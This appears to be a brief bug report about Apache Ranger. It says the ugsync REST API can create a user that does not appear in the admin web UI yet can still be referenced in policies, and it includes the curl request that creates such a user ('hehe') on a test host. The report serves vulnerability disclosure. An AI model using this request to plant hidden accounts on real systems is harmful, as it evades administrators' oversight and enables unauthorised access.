Security Risk. ugsync API can create a hidden user.

We can use  REST API /service/xusers/ugsync/users to create a User without 

userRoleList. And the user is hidden in Ranger Admin User List.

 

#] curl -u: --negotiate --header 'Content-Type: application/json' --data '{"vXUsers" :[

{"name":"hehe", "description" : "hehe", "syncSorce": "Unix"}

], "totalCount" : 1}' 'http://kirbytest01.sa:6080/service/xusers/ugsync/users' 

1

The user "hehe" is created, but can not be seen at WebUI 

But it be used at policies, it should be a security risk.